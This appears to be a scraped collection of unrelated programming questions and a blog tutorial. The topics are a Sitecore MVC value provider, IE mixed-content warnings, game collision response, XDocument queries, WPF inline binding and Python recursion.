    I'm getting the good ole' "This page contains both secure and nonsecure items." dialog in IE when connecting to an HTTPS site. No big deal... I've just got something coming in over a non-secure connection so that should be an easy fix, right? So I go into "View Web Page Privacy Policy..." to look to see where I've included an HTTP file, and this is what I see... https://blah/path/to/file.htm https://blah/path/to/file.js http://blah:443/path/to/file.css Um... ok... so... there is an HTTP only URL being requested, but it is going over port 443 ("https://blah/" is shorthand for "http://blah:443/") so... What is the deal with this!? IE 7.0.5730.13 can't possibly be THAT stupid, can it? Is there an IIS setting that needs to be tweaked?

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  • Using Sitecore RenderingContext Parameters as MVC controller action arguments

    - by Kyle Burns
    I have been working with the Technical Preview of Sitecore 6.6 on a project and have been for the most part happy with the way that Sitecore (which truly is an MVC implementation unto itself) has been expanded to support ASP.NET MVC. That said, getting up to speed with the combined platform has not been entirely without stumbles and today I want to share one area where Sitecore could have really made things shine from the "it just works" perspective. A couple days ago I was asked by a colleague about the usage of the "Parameters" field that is defined on Sitecore's Controller Rendering data template. Based on the standard way that Sitecore handles a field named Parameters, I was able to deduce that the field expected key/value pairs separated by the "&" character, but beyond that I wasn't sure and didn't see anything from a documentation perspective to guide me, so it was time to dig and find out where the data in the field was made available. My first thought was that it would be really nice if Sitecore handled the parameters in this field consistently with the way that ASP.NET MVC handles the various parameter collections on the HttpRequest object and automatically maps them to parameters of the action method executing. Being the hopeful sort, I configured a name/value pair on one of my renderings, added a parameter with matching name to the controller action and fired up the bugger to see... that the parameter was not populated. Having established that the field's value was not going to be presented to me the way that I had hoped it would, the next assumption that I would work on was that Sitecore would handle this field similar to how they handle other similar data and would plug it into some ambient object that I could reference from within the controller method. After a considerable amount of guessing, testing, and cracking code open with Redgate's Reflector (a must-have companion to Sitecore documentation), I found that the most direct way to access the parameter was through the ambient RenderingContext object using code similar to: string myArgument = string.Empty; var rc = Sitecore.Mvc.Presentation.RenderingContext.CurrentOrNull; if (rc != null) {     var parms = rc.Rendering.Parameters;     myArgument = parms["myArgument"]; } At this point, we know how this field is used out of the box from Sitecore and can provide information from Sitecore's Content Editor that will be available when the controller action is executing, but it feels a little dirty. In order to properly test the action method I would have to do a lot of setup work and possible use an isolation framework such as Pex and Moles to get at a value that my action method is dependent upon. Notice I said that my method is dependent upon the value but in order to meet that dependency I've accepted another dependency upon Sitecore's RenderingContext.  I'm a big believer in, when possible, ensuring that any piece of code explicitly advertises dependencies using the method signature, so I found myself still wanting this to work the same as if the parameters were in the request route, querystring, or form by being able to add a myArgument parameter to the action method and have this parameter populated by the framework. Lucky for us, the ASP.NET MVC framework is extremely flexible and provides some easy to grok and use extensibility points. ASP.NET MVC is able to provide information from the request as input parameters to controller actions because it uses objects which implement an interface called IValueProvider and have been registered to service the application. The most basic statement of responsibility for an IValueProvider implementation is "I know about some data which is indexed by key. If you hand me the key for a piece of data that I know about I give you that data". When preparing to invoke a controller action, the framework queries registered IValueProvider implementations with the name of each method argument to see if the ValueProvider can supply a value for the parameter. (the rest of this post will assume you're working along and make a lot more sense if you do) Let's pull Sitecore out of the equation for a second to simplify things and create an extremely simple IValueProvider implementation. For this example, I first create a new ASP.NET MVC3 project in Visual Studio, selecting "Internet Application" and otherwise taking defaults (I'm assuming that anyone reading this far in the post either already knows how to do this or will need to take a quick run through one of the many available basic MVC tutorials such as the MVC Music Store). Once the new project is created, go to the Index action of HomeController.  This action sets a Message property on the ViewBag to "Welcome to ASP.NET MVC!" and invokes the View, which has been coded to display the Message. For our example, we will remove the hard coded message from this controller (although we'll leave it just as hard coded somewhere else - this is sample code). For the first step in our exercise, add a string parameter to the Index action method called welcomeMessage and use the value of this argument to set the ViewBag.Message property. The updated Index action should look like: public ActionResult Index(string welcomeMessage) {     ViewBag.Message = welcomeMessage;     return View(); } This represents the entirety of the change that you will make to either the controller or view.  If you run the application now, the home page will display and no message will be presented to the user because no value was supplied to the Action method. Let's now write a ValueProvider to ensure this parameter gets populated. We'll start by creating a new class called StaticValueProvider. When the class is created, we'll update the using statements to ensure that they include the following: using System.Collections.Specialized; using System.Globalization; using System.Web.Mvc; With the appropriate using statements in place, we'll update the StaticValueProvider class to implement the IValueProvider interface. The System.Web.Mvc library already contains a pretty flexible dictionary-like implementation called NameValueCollectionValueProvider, so we'll just wrap that and let it do most of the real work for us. The completed class looks like: public class StaticValueProvider : IValueProvider {     private NameValueCollectionValueProvider _wrappedProvider;     public StaticValueProvider(ControllerContext controllerContext)     {         var parameters = new NameValueCollection();         parameters.Add("welcomeMessage", "Hello from the value provider!");         _wrappedProvider = new NameValueCollectionValueProvider(parameters, CultureInfo.InvariantCulture);     }     public bool ContainsPrefix(string prefix)     {         return _wrappedProvider.ContainsPrefix(prefix);     }     public ValueProviderResult GetValue(string key)     {         return _wrappedProvider.GetValue(key);     } } Notice that the only entry in the collection matches the name of the argument to our HomeController's Index action.  This is the important "secret sauce" that will make things work. We've got our new value provider now, but that's not quite enough to be finished. Mvc obtains IValueProvider instances using factories that are registered when the application starts up. These factories extend the abstract ValueProviderFactory class by initializing and returning the appropriate implementation of IValueProvider from the GetValueProvider method. While I wouldn't do so in production code, for the sake of this example, I'm going to add the following class definition within the StaticValueProvider.cs source file: public class StaticValueProviderFactory : ValueProviderFactory {     public override IValueProvider GetValueProvider(ControllerContext controllerContext)     {         return new StaticValueProvider(controllerContext);     } } Now that we have a factory, we can register it by adding the following line to the end of the Application_Start method in Global.asax.cs: ValueProviderFactories.Factories.Add(new StaticValueProviderFactory()); If you've done everything right to this point, you should be able to run the application and be presented with the home page reading "Hello from the value provider!". Now that you have the basics of the IValueProvider down, you have everything you need to enhance your Sitecore MVC implementation by adding an IValueProvider that exposes values from the ambient RenderingContext's Parameters property. I'll provide the code for the IValueProvider implementation (which should look VERY familiar) and you can use the work we've already done as a reference to create and register the factory: public class RenderingContextValueProvider : IValueProvider {     private NameValueCollectionValueProvider _wrappedProvider = null;     public RenderingContextValueProvider(ControllerContext controllerContext)     {         var collection = new NameValueCollection();         var rc = RenderingContext.CurrentOrNull;         if (rc != null && rc.Rendering != null)         {             foreach(var parameter in rc.Rendering.Parameters)             {                 collection.Add(parameter.Key, parameter.Value);             }         }         _wrappedProvider = new NameValueCollectionValueProvider(collection, CultureInfo.InvariantCulture);         }     public bool ContainsPrefix(string prefix)     {         return _wrappedProvider.ContainsPrefix(prefix);     }     public ValueProviderResult GetValue(string key)     {         return _wrappedProvider.GetValue(key);     } } In this post I've discussed the MVC IValueProvider used to map data to controller action method arguments and how this can be integrated into your Sitecore 6.6 MVC solution.

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  • What should I use for the filepath if I'm developing from my desktop?

    - by codeninja
    I'm having an extremely difficulty time getting the flowplayer to show up and the worst part is I have no idea what is wrong because I'm not getting any error messages! I have an external javascript file: C:/desktop/mysite/js/jq/plugins.js calling $f() from: C:/desktop/mysite/thirdparty/flowplayer/flowplayer.js the swf files also live there... I'm working on file/desktop (no localhost or webserver) $(video.id).flowplayer("thirdparty/flowplayer/flowplayer-3.1.15.swf", { clip:{ .... }, // min Flash version version:[9,115], // older versions will see a custom message onFail:function(){ alert("Failed!"); }, onError:function(errCode,errMsg){ alert(errCode+errMsg); } }); I don't know what path to use for the SWFs to get them to load, is the path relative to the javascript (plugins.js) that calls $f() or is it relative to the path of the flowplayer.js ?? bangs head on wall

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  • how to strip namespaces with e4x?

    - by SorcyCat
    I have an arbitrary XML document provided by a URL. I also have an xpath-like expressions. var xml = <doc><node1><node2><node3>some value</node3></node2></node1></doc>; var path = "node1.node2.node3"; I need to verify if the above path into the XML is valid. I tried to do this using eval and E4X. var value = eval("xml."+path); However, my actual xml document has namespaces which are getting in the way. I do not know the namespaces ahead of time or care what they are. Is there a way to strip all the namespaces out ahead of time? Is there a better way to do this? Thanks!

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  • Sliding collision response

    - by dbostream
    I have been reading plenty of tutorials about sliding collision responses yet I am not able to implement it properly in my project. What I want to do is make a puck slide along the rounded corner boards of a hockey rink. In my latest attempt the puck does slide along the boards but there are some strange velocity behaviors. First of all the puck slows down a lot pretty much right away and then it slides for awhile and stops before exiting the corner. Even if I double the speed I get a similar behavior and the puck does not make it out of the corner. I used some ideas from this document http://www.peroxide.dk/papers/collision/collision.pdf. This is what I have: Update method called from the game loop when it is time to update the puck (I removed some irrelevant parts). I use two states (current, previous) which are used to interpolate the position during rendering. public override void Update(double fixedTimeStep) { /* Acceleration is set to 0 for now. */ Acceleration.Zero(); PreviousState = CurrentState; _collisionRecursionDepth = 0; CurrentState.Position = SlidingCollision(CurrentState.Position, CurrentState.Velocity * fixedTimeStep + 0.5 * Acceleration * fixedTimeStep * fixedTimeStep); /* Should not this be affected by a sliding collision? and not only the position. */ CurrentState.Velocity = CurrentState.Velocity + Acceleration * fixedTimeStep; Heading = Vector2.NormalizeRet(CurrentState.Velocity); } private Vector2 SlidingCollision(Vector2 position, Vector2 velocity) { if(_collisionRecursionDepth > 5) return position; bool collisionFound = false; Vector2 futurePosition = position + velocity; Vector2 intersectionPoint = new Vector2(); Vector2 intersectionPointNormal = new Vector2(); /* I did not include the collision detection code, if a collision is detected the intersection point and normal in that point is returned. */ if(!collisionFound) return futurePosition; /* If no collision was detected it is safe to move to the future position. */ /* It is not exactly the intersection point, but slightly before. */ Vector2 newPosition = intersectionPoint; /* oldVelocity is set to the distance from the newPosition(intersection point) to the position it had moved to had it not collided. */ Vector2 oldVelocity = futurePosition - newPosition; /* Project the distance left to move along the intersection normal. */ Vector2 newVelocity = oldVelocity - intersectionPointNormal * oldVelocity.DotProduct(intersectionPointNormal); if(newVelocity.LengthSq() < 0.001) return newPosition; /* If almost no speed, no need to continue. */ _collisionRecursionDepth++; return SlidingCollision(newPosition, newVelocity); } What am I doing wrong with the velocity? I have been staring at this for very long so I have gone blind. I have tried different values of recursion depth but it does not seem to make it better. Let me know if you need more information. I appreciate any help. EDIT: A combination of Patrick Hughes' and teodron's answers solved the velocity problem (I think), thanks a lot! This is the new code: I decided to use a separate recursion method now too since I don't want to recalculate the acceleration in each recursion. public override void Update(double fixedTimeStep) { Acceleration.Zero();// = CalculateAcceleration(fixedTimeStep); PreviousState = new MovingEntityState(CurrentState.Position, CurrentState.Velocity); CurrentState = SlidingCollision(CurrentState, fixedTimeStep); Heading = Vector2.NormalizeRet(CurrentState.Velocity); } private MovingEntityState SlidingCollision(MovingEntityState state, double timeStep) { bool collisionFound = false; /* Calculate the next position given no detected collision. */ Vector2 futurePosition = state.Position + state.Velocity * timeStep; Vector2 intersectionPoint = new Vector2(); Vector2 intersectionPointNormal = new Vector2(); /* I did not include the collision detection code, if a collision is detected the intersection point and normal in that point is returned. */ /* If no collision was detected it is safe to move to the future position. */ if (!collisionFound) return new MovingEntityState(futurePosition, state.Velocity); /* Set new position to the intersection point (slightly before). */ Vector2 newPosition = intersectionPoint; /* Project the new velocity along the intersection normal. */ Vector2 newVelocity = state.Velocity - 1.90 * intersectionPointNormal * state.Velocity.DotProduct(intersectionPointNormal); /* Calculate the time of collision. */ double timeOfCollision = Math.Sqrt((newPosition - state.Position).LengthSq() / (futurePosition - state.Position).LengthSq()); /* Calculate new time step, remaining time of full step after the collision * current time step. */ double newTimeStep = timeStep * (1 - timeOfCollision); return SlidingCollision(new MovingEntityState(newPosition, newVelocity), newTimeStep); } Even though the code above seems to slide the puck correctly please have a look at it. I have a few questions, if I don't multiply by 1.90 in the newVelocity calculation it doesn't work (I get a stack overflow when the puck enters the corner because the timeStep decreases very slowly - a collision is found early in every recursion), why is that? what does 1.90 really do and why 1.90? Also I have a new problem, the puck does not move parallell to the short side after exiting the curve; to be more exact it moves outside the rink (I am not checking for any collisions with the short side at the moment). When I perform the collision detection I first check that the puck is in the correct quadrant. For example bottom-right corner is quadrant four i.e. circleCenter.X < puck.X && circleCenter.Y puck.Y is this a problem? or should the short side of the rink be the one to make the puck go parallell to it and not the last collision in the corner? EDIT2: This is the code I use for collision detection, maybe it has something to do with the fact that I can't make the puck slide (-1.0) but only reflect (-2.0): /* Point is the current position (not the predicted one) and quadrant is 4 for the bottom-right corner for example. */ if (GeometryHelper.PointInCircleQuadrant(circleCenter, circleRadius, state.Position, quadrant)) { /* The line is: from = state.Position, to = futurePosition. So a collision is detected when from is inside the circle and to is outside. */ if (GeometryHelper.LineCircleIntersection2d(state.Position, futurePosition, circleCenter, circleRadius, intersectionPoint, quadrant)) { collisionFound = true; /* Set the intersection point to slightly before the real intersection point (I read somewhere this was good to do because of floting point precision, not sure exactly how much though). */ intersectionPoint = intersectionPoint - Vector2.NormalizeRet(state.Velocity) * 0.001; /* Normal at the intersection point. */ intersectionPointNormal = Vector2.NormalizeRet(circleCenter - intersectionPoint) } } When I set the intersection point, if I for example use 0.1 instead of 0.001 the puck travels further before it gets stuck, but for all values I have tried (including 0 - the real intersection point) it gets stuck somewhere (but I necessarily not get a stack overflow). Can something in this part be the cause of my problem? I can see why I get the stack overflow when using -1.0 when calculating the new velocity vector; but not how to solve it. I traced the time steps used in the recursion (initial time step is always 1/60 ~ 0.01666): Recursion depth Time step next recursive call [Start recursion, time step ~ 0.016666] 0 0,000985806527246773 [No collision, stop recursion] [Start recursion, time step ~ 0.016666] 0 0,0149596704364629 1 0,0144883449376379 2 0,0143155612984837 3 0,014224925727213 4 0,0141673917461608 5 0,0141265435314026 6 0,0140953966184117 7 0,0140704653746625 ...and so on. As you can see the collision is detected early in every recursive call which means the next time step decreases very slowly thus the recursion depth gets very big - stack overflow.

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  • Tile-based 2D collision detection problems

    - by Vee
    I'm trying to follow this tutorial http://www.tonypa.pri.ee/tbw/tut05.html to implement real-time collisions in a tile-based world. I find the center coordinates of my entities thanks to these properties: public float CenterX { get { return X + Width / 2f; } set { X = value - Width / 2f; } } public float CenterY { get { return Y + Height / 2f; } set { Y = value - Height / 2f; } } Then in my update method, in the player class, which is called every frame, I have this code: public override void Update() { base.Update(); int downY = (int)Math.Floor((CenterY + Height / 2f - 1) / 16f); int upY = (int)Math.Floor((CenterY - Height / 2f) / 16f); int leftX = (int)Math.Floor((CenterX + Speed * NextX - Width / 2f) / 16f); int rightX = (int)Math.Floor((CenterX + Speed * NextX + Width / 2f - 1) / 16f); bool upleft = Game.CurrentMap[leftX, upY] != 1; bool downleft = Game.CurrentMap[leftX, downY] != 1; bool upright = Game.CurrentMap[rightX, upY] != 1; bool downright = Game.CurrentMap[rightX, downY] != 1; if(NextX == 1) { if (upright && downright) CenterX += Speed; else CenterX = (Game.GetCellX(CenterX) + 1)*16 - Width / 2f; } } downY, upY, leftX and rightX should respectively find the lowest Y position, the highest Y position, the leftmost X position and the rightmost X position. I add + Speed * NextX because in the tutorial the getMyCorners function is called with these parameters: getMyCorners (ob.x+ob.speed*dirx, ob.y, ob); The GetCellX and GetCellY methods: public int GetCellX(float mX) { return (int)Math.Floor(mX / SGame.Camera.TileSize); } public int GetCellY(float mY) { return (int)Math.Floor(mY / SGame.Camera.TileSize); } The problem is that the player "flickers" while hitting a wall, and the corner detection doesn't even work correctly since it can overlap walls that only hit one of the corners. I do not understand what is wrong. In the tutorial the ob.x and ob.y fields should be the same as my CenterX and CenterY properties, and the ob.width and ob.height should be the same as Width / 2f and Height / 2f. However it still doesn't work. Thanks for your help.

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  • How do I get a list of child elements from XDocument object?

    - by Nick
    Hello.. I am trying to get all of the "video" elements and their attributes from an XML file that looks like this: <?xml version="1.0" encoding="utf-8" ?> <videos> <video title="video1" path="videos\video1.wma"/> <video title="video2" path="videos\video2.wma"/> <video title="video3" path="videos\video3.wma"/> </videos> The following will only select the root node and all of the children. I would like to get all of the 'video' elements into the IEnumerable. Can someone tell me what I'm doing wrong? IEnumerable<XElement> elements = from xml in _xdoc.Descendants("videos") select xml; The above returns a collection with a length == 1. It contains the root element and all the children.

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  • WPF: LineBreak enable/disable dynamically

    - by Sonic Soul
    i would like to make the LineBreak element inside of that TextBlock controllable by the user in preferences to Enable/Disable it being there <TextBlock Style="{StaticResource TextBlockStyle}" Width="130"> <TextBlock.Inlines> <Run Text="{Binding Path=Name}" FontWeight="Bold" Foreground="#FF2A4D9E" /> <Run Text="{Binding Path=Price}" FontWeight="Bold" /> <LineBreak /> <Run Text="{Binding Path=Quantity}" Foreground="#99000000" /> </TextBlock.Inlines> </TextBlock>

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  • Need help understanding a recursion example in Python

    - by Ali Mustafa
    Python is my first programming language, and I'm learning it from "How to Think Like a Computer Scientist". In Chapter 5 the author gives the following example on recursion: def factorial(n): if n == 0: return 1 else: recurse = factorial(n-1) result = n * recurse return result I understand that if n = 3, then the function will execute the second branch. But what I don't understand is what happens when the function enters the second branch. Can someone explain it to me?

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